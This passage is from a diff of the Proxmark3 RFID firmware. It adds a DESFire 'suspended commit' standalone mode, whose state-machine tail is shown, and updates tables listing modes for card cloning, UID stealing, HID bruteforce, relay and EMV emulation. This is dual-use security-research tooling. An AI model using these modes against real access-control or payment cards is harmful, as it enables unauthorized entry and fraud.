break;
|
||||
}
|
||||
case ST_SNIFF_COMMIT: {
|
||||
if (welcome_state_sniff) {
|
||||
Dbprintf("Bring the tag and Proxmark3 together slowly towards the authenticating reader.");
|
||||
welcome_state_sniff = false;
|
||||
}
|
||||
LED_A_ON();
|
||||
LED_B_ON();
|
||||
if (sniff_wait_for_commit(tag_type)) {
|
||||
LED_B_ON();
|
||||
LED_C_ON();
|
||||
DbpString("Reader wants to commit!");
|
||||
state = ST_WAIT_BUTTON;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case ST_WAIT_BUTTON: {
|
||||
if (welcome_state_button) {
|
||||
Dbprintf("Pull the tag and Proxmark3 together away from the reader, then press the button.");
|
||||
welcome_state_button = false;
|
||||
}
|
||||
LED_A_ON();
|
||||
LED_B_ON();
|
||||
blink_led_slow(LED_C);
|
||||
if (BUTTON_PRESS()) {
|
||||
state = ST_WAIT_BUTTON_RELEASE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case ST_WAIT_BUTTON_RELEASE: {
|
||||
LED_A_ON();
|
||||
LED_B_ON();
|
||||
blink_led_slow(LED_C);
|
||||
if (BUTTON_PRESS() == false) {
|
||||
state = ST_COMMIT;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case ST_COMMIT: {
|
||||
LED_A_ON();
|
||||
LED_B_ON();
|
||||
LED_C_ON();
|
||||
if (commit(tag_type)) {
|
||||
Dbprintf("Commit successful! Press the button to exit.");
|
||||
LED_D_ON();
|
||||
while (!BUTTON_PRESS()) {}
|
||||
} else {
|
||||
Dbprintf("Commit failed. Press the button to exit.");
|
||||
while (!BUTTON_PRESS()) {
|
||||
blink_led_fast(LED_D);
|
||||
}
|
||||
}
|
||||
state = ST_EXIT;
|
||||
break;
|
||||
}
|
||||
case ST_EXIT:
|
||||
break;
|
||||
default:
|
||||
state = ST_LOOK_FOR_CARD;
|
||||
break;
|
||||
}
|
||||
WDT_HIT();
|
||||
}
|
||||
|
||||
DbpString("Exiting");
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
LEDsoff();
|
||||
}
|
||||
@@ -60,7 +60,8 @@ As such the information inside may be false or hallucinated.
|
||||
| HF_CARDHOPPER | [CardHopper Relay](../../doc/standalone/hf_cardhopper.md) | Long-range 14A relay over serial/IP | RDV4 (BT) |
|
||||
| HF_COLIN | [VIGIKPWN](../../doc/standalone/hf_colin.md) | MIFARE Classic ultra-fast sniff/sim/clone | RDV4 (flash) |
|
||||
| HF_CRAFTBYTE | [CraftByte UID Stealer](../../doc/standalone/hf_craftbyte.md) | Scan and emulate ISO14443A UIDs | Generic |
|
||||
| HF_DOEGOX_AUTH0 | [UL-C/UL-AES Unlocker](../../doc/standalone/hf_doegox_auth0.md) | Unlock password-protected Ultralight tags | Generic |
|
||||
| HF_DOEGOX_AUTH0 | [UL-C/UL-AES Unlocker](../../doc/standalone/hf_doegox_auth0.md) | Unlock password-protected Ultralight tags | RDV4 (antenna) |
|
||||
| HF_DOEGOX_COMMIT | [DESFire suspended commit](../../doc/standalone/hf_doegox_commit.md) | DESFire Suspend commit without relay | RDV4 (antenna) |
|
||||
| HF_EMVPNG | [EMV Visa Reader/Emulator](../../doc/standalone/hf_emvpng.md) | Read Visa EMV cards and emulate transactions | RDV4 (flash) |
|
||||
| HF_ICECLASS | [IceClass iCLASS](../../doc/standalone/hf_iceclass.md) | iCLASS multi-mode: sim/dump/attack/config | RDV4 (flash) |
|
||||
| HF_LEGIC | [Legic Prime Reader](../../doc/standalone/hf_legic.md) | Read and simulate Legic Prime tags | Generic |
|
||||
|
||||
@@ -117,48 +117,49 @@ The Iceman repository gives you to easily choose which standalone mode to embed
|
||||
Documentation for each standalone mode can be found in the [Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation).
|
||||
Here are the supported values you can assign to `STANDALONE` in `Makefile.platform`:
|
||||
|
||||
| STANDALONE | DESCRIPTION |
|
||||
|-----------------|----------------------------------------|
|
||||
| | No standalone mode
|
||||
| LF_EM4100EMUL | LF EM4100 simulator standalone mode - temskiy
|
||||
| LF_EM4100RSWB | LF EM4100 read/write/clone/brute mode - Monster1024
|
||||
| LF_EM4100RSWW | LF EM4100 read/write/clone/validate/wipe mode - Łukasz "zabszk" Jurczyk
|
||||
| LF_EM4100RWC | LF EM4100 read/write/clone mode - temskiy
|
||||
| LF_HIDBRUTE | HID corporate 1000 bruteforce - Federico dotta & Maurizio Agazzini
|
||||
| LF_HIDFCBRUTE | LF HID facility code bruteforce - ss23
|
||||
| LF_ICEHID | LF HID collector to flashmem - Iceman1001
|
||||
| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator - Shain Lakin
|
||||
| LF_NEDAP_SIM | LF Nedap ID simulator
|
||||
| LF_NEXID | Nexwatch credentials detection mode - jrjgjk & Zolorah
|
||||
| LF_PROXBRUTE | HID ProxII bruteforce - Brad Antoniewicz
|
||||
| LF_PROX2BRUTE | HID ProxII bruteforce v2 - Yann Gascuel
|
||||
| LF_SAMYRUN (def)| HID26 read/clone/sim - Samy Kamkar
|
||||
| LF_SKELETON | standalone mode skeleton - Iceman1001
|
||||
| LF_THAREXDE | LF EM4x50 simulator/read standalone mode - tharexde
|
||||
| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous
|
||||
| HF_14BSNIFF | 14b sniff - jacopo-j
|
||||
| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser
|
||||
| HF_15SIM | 15693 simulator - lnv42
|
||||
| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal
|
||||
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito
|
||||
| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins
|
||||
| HF_COLIN | Mifare ultra fast sniff/sim/clone - Colin Brigato
|
||||
| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID - Anze Jensterle
|
||||
| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker - Philippe Teuwen (doegox)
|
||||
| HF_ICECLASS | iCLASS 4-1 mode sim/read & dump/loclass/glitch & config to flashmem - Iceman1001
|
||||
| HF_LEGIC | HF Legic Prime Read/Store/Sim standalone - uhei
|
||||
| HF_LEGICSIM | HF Legic Prime Simulate standalone - uhei
|
||||
| HF_MATTYRUN | Mifare sniff/clone - Matías A. Ré Medina
|
||||
| HF_MFCSIM | Simulate Mifare Classic 1k card storing in flashmem - Ray Lee
|
||||
| HF_MSDSAL | EMV Read and emulation - Salvador Mendoza
|
||||
| HF_REBLAY | 14A relay over BT - Salvador Mendoza
|
||||
| HF_ST25_TEAROFF | Store/restore ST25TB tags with tear-off for counters - SecLabz
|
||||
| HF_TCPRST | IKEA Rothult ST25TA, Standalone Master Key Dump/Emulation - Nick Draffen
|
||||
| HF_TMUDFORD | Read and emulate ISO15693 card UID - Tim Mudford
|
||||
| HF_UNISNIFF | Combined 14a/14b/15 sniffer with runtime selection & extra save options
|
||||
| HF_YOUNG | Mifare sniff/simulation - Craig Young
|
||||
| HF_EMVPNG | EMV Read and emulation - Davi Mikael (Penegui)
|
||||
| DANKARMULTI | Standalone mode that bakes together multiple other standalone modes. - dankar
|
||||
| STANDALONE | DESCRIPTION |
|
||||
|------------------|----------------------------------------|
|
||||
| | No standalone mode
|
||||
| LF_EM4100EMUL | LF EM4100 simulator standalone mode - temskiy
|
||||
| LF_EM4100RSWB | LF EM4100 read/write/clone/brute mode - Monster1024
|
||||
| LF_EM4100RSWW | LF EM4100 read/write/clone/validate/wipe mode - Łukasz "zabszk" Jurczyk
|
||||
| LF_EM4100RWC | LF EM4100 read/write/clone mode - temskiy
|
||||
| LF_HIDBRUTE | HID corporate 1000 bruteforce - Federico dotta & Maurizio Agazzini
|
||||
| LF_HIDFCBRUTE | LF HID facility code bruteforce - ss23
|
||||
| LF_ICEHID | LF HID collector to flashmem - Iceman1001
|
||||
| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator - Shain Lakin
|
||||
| LF_NEDAP_SIM | LF Nedap ID simulator
|
||||
| LF_NEXID | Nexwatch credentials detection mode - jrjgjk & Zolorah
|
||||
| LF_PROXBRUTE | HID ProxII bruteforce - Brad Antoniewicz
|
||||
| LF_PROX2BRUTE | HID ProxII bruteforce v2 - Yann Gascuel
|
||||
| LF_SAMYRUN (def) | HID26 read/clone/sim - Samy Kamkar
|
||||
| LF_SKELETON | standalone mode skeleton - Iceman1001
|
||||
| LF_THAREXDE | LF EM4x50 simulator/read standalone mode - tharexde
|
||||
| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous
|
||||
| HF_14BSNIFF | 14b sniff - jacopo-j
|
||||
| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser
|
||||
| HF_15SIM | 15693 simulator - lnv42
|
||||
| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal
|
||||
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito
|
||||
| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins
|
||||
| HF_COLIN | Mifare ultra fast sniff/sim/clone - Colin Brigato
|
||||
| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID - Anze Jensterle
|
||||
| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker - Philippe Teuwen (doegox)
|
||||
| HF_DOEGOX_COMMIT | DESFire suspended commit - Philippe Teuwen (doegox)
|
||||
| HF_ICECLASS | iCLASS 4-1 mode sim/read & dump/loclass/glitch & config to flashmem - Iceman1001
|
||||
| HF_LEGIC | HF Legic Prime Read/Store/Sim standalone - uhei
|
||||
| HF_LEGICSIM | HF Legic Prime Simulate standalone - uhei
|
||||
| HF_MATTYRUN | Mifare sniff/clone - Matías A. Ré Medina
|
||||
| HF_MFCSIM | Simulate Mifare Classic 1k card storing in flashmem - Ray Lee
|
||||
| HF_MSDSAL | EMV Read and emulation - Salvador Mendoza
|
||||
| HF_REBLAY | 14A relay over BT - Salvador Mendoza
|
||||
| HF_ST25_TEAROFF | Store/restore ST25TB tags with tear-off for counters - SecLabz
|
||||
| HF_TCPRST | IKEA Rothult ST25TA, Standalone Master Key Dump/Emulation - Nick Draffen
|
||||
| HF_TMUDFORD | Read and emulate ISO15693 card UID - Tim Mudford
|
||||
| HF_UNISNIFF | Combined 14a/14b/15 sniffer with runtime selection & extra save options
|
||||
| HF_YOUNG | Mifare sniff/simulation - Craig Young
|
||||
| HF_EMVPNG | EMV Read and emulation - Davi Mikael (Penegui)
|
||||
| DANKARMULTI | Standalone mode that bakes together multiple other standalone modes. - dankar
|
||||
|
||||
By default `STANDALONE=LF_SAMYRUN`.
|
||||
|
||||
|
||||
@@ -32,7 +32,7 @@ mv bootrom/obj/bootrom.elf "$DEST/PM3BOOTROM.elf"
|
||||
# cf armsrc/Standalone/Makefile.hal
|
||||
STANDALONE_MODES=(LF_SKELETON)
|
||||
STANDALONE_MODES+=(LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE)
|
||||
STANDALONE_MODES+=(HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_DOEGOX_AUTH0 HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG)
|
||||
STANDALONE_MODES+=(HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_DOEGOX_AUTH0 HF_DOEGOX_COMMIT HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG)
|
||||
STANDALONE_MODES+=(DANKARMULTI)
|
||||
STANDALONE_MODES_REQ_BT=(HF_CARDHOPPER HF_REBLAY)
|
||||
STANDALONE_MODES_REQ_SMARTCARD=()
|
||||
|
||||
Reference in New Issue
Block a user